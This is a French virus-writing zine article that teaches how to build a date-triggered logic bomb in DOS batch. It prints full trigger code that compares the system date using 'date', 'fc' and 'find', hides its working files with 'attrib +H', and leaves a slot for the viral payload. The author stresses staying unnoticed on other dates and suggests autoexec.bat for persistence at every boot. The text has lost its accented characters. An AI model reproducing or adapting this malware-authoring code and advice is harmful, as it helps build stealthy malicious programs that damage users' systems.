                         /-------------------------\
                         \    BATCHED Again,       /
                         /       Deep Inside...    \
                         \-------------------------/


Cette fois-ci, je me suis inspir de mon cher confrre et ami, Androgyne... 
Je me souviens qu'il fut un temps, o il avait fait un virus asm qui se
dclenchait  la date... Ca m'a donn une ide, sans pour autant avoir
la prtention de faire aussi bien que lui! 
Qui a dj vu en BATCH un virus qui se dclenchait  la date? No one here... 

====================================== 
Comment dclencher  la date? 

Tout con, quand on veut changer la date sous DOS, on fait "date". Pas dur... 
Donc voici le code (trs cours) d'un dclencheur  la date en BATCH: 

@echo off cls cd c:\mesdoc~1\anti25\virusm~1
path=c:\mesdoc~1\anti25\Virusm~1;c:\windows;c:\windows\command 
echo La date actuelle est Dim 24/12/2000>date.pro
if exist o.txt goto date
if not exist o.txt goto create

:date
date>date.ki<o.txt
type date.ki | find "La">date.kil 
del date.ki
fc date.kil date.pro>fc.rep
attrib date.kil +H
attrib date.pro +H
attrib fc.rep +H

:create 
echo  >o.txt
date>date.ki<o.txt
type date.ki | find "La">date.kil 
del date.ki
fc date.kil date.pro>fc.rep
attrib date.kil +H
attrib date.pro +H
attrib fc.rep +H

:verification
type fc.rep | find "FC: Aucune diffrence rencontre" | if errorlevel 1 goto m

:continuevirus
..........
..........
..........   CODE DE VOTRE VIRUS
..........
..........

:m
(pour une discression maximale, veillez  ce que rien ne se trouve ici, 
comme a, si la date n'est pas la bonne, le virus ne se manifeste absolument
pas...)

:end 

Petites explications:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Le dclencheur s'occupe de crer un fichier date.pro (programme!), 
dans lequel il va placer tout simplement une phrase du type: 
La date actuelle est Dim 24/12/2000.
Si vous avez dj tapp date sous DOS, vous verrez qu'il affiche : 
La date actuelle est Jour dd/mm/aaaa => d=date / m=mois / aaaa=anne. 
Puis il crit entrez la nouvelle date...

En attente de rponse, le prog bat ne poursuit pas le cheminement des 
oprations! 
Il faut donc crer un fichier o.txt qui contient un caractre retour chariot,
soit pression de la touche entre en ASCII. On place un caractre ASCII 
entre dans le fichier o.txt et voil, lorsqu'on lance date, a nous donne:

C:\>date
La date actuelle est Dim 24/12/2000
Entrez la nouvelle date (jj/mm/aaaa):_

		========================================================
		Ici il ne rend pas la main  l'utilisateur ou au prog...
		========================================================

C:\>date<o.txt
La date actuelle est Dim 24/12/2000
Entrez la nouvelle date (jj/mm/aaaa):_

C:\>

		==================================================
		Ici, il rend la main  l'utilisateur ou au prog...
		==================================================


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Afin de vrifier si la date que nous donnons au prog est la mme que la date 
du jour o il est lanc, il est ncessaire d'oprer une comparaison. 
Pour a, merci Mikrokro, il existe un utilitaire nomm FC.EXE!
Rien de plus simple, (y a des options mais dans ce cas, y en a pas besoin!), 
on tape:

fc [nom du premier file] [nom du second file] > [fichier de rsultat de l'op]

ici,

fc date.kil date.pro>fc.rep

On rcupre alors dans le fichier fc.rep, le rsultat de l'opration, 
par exemple les adresses hexa o il y a des diffrences, et quand il n 'y 
en a pas (et qu'on est pas en mode de comparaison binaire), 
on trouve dans le fichier:

"FC: Aucune diffrence rencontre", sans les ".

Cela explique donc la ligne:
type fc.rep | find "FC: Aucune diffrence rencontre" | if errorlevel 1 goto m
Qui veut dire,
	Ouvre le fichier fc.rep
    Trouve la chane de caractres : FC: Aucune diffrence rencontre
	Si tu la trouves pas, alors tu vas  l'tiquette m
Tout con...

Une fois toutes ces tapes accomplies, le dclencheur se dclenche et le 
lancement du virus est opr...
Vous me direz, oui mais le problme de ce virus c que si il est lanc un 
jour diffrent du jour prprogramm, il ne marche pas. C l tout l'intrt 
et comme je l'ai dit, il faut qu'il passe inapperu dans ce cas aux yeux 
de celui qui l'a lanc. Si vous voulez que ce virus soit activ  chaque 
dmarrage, faites appel  lui dans l'autoexec.bat... 
(Je suis dans ce cas non responsable de ce qu'il adviendra ultrieurement!)
MDR


Maintenant le virus qui suit...
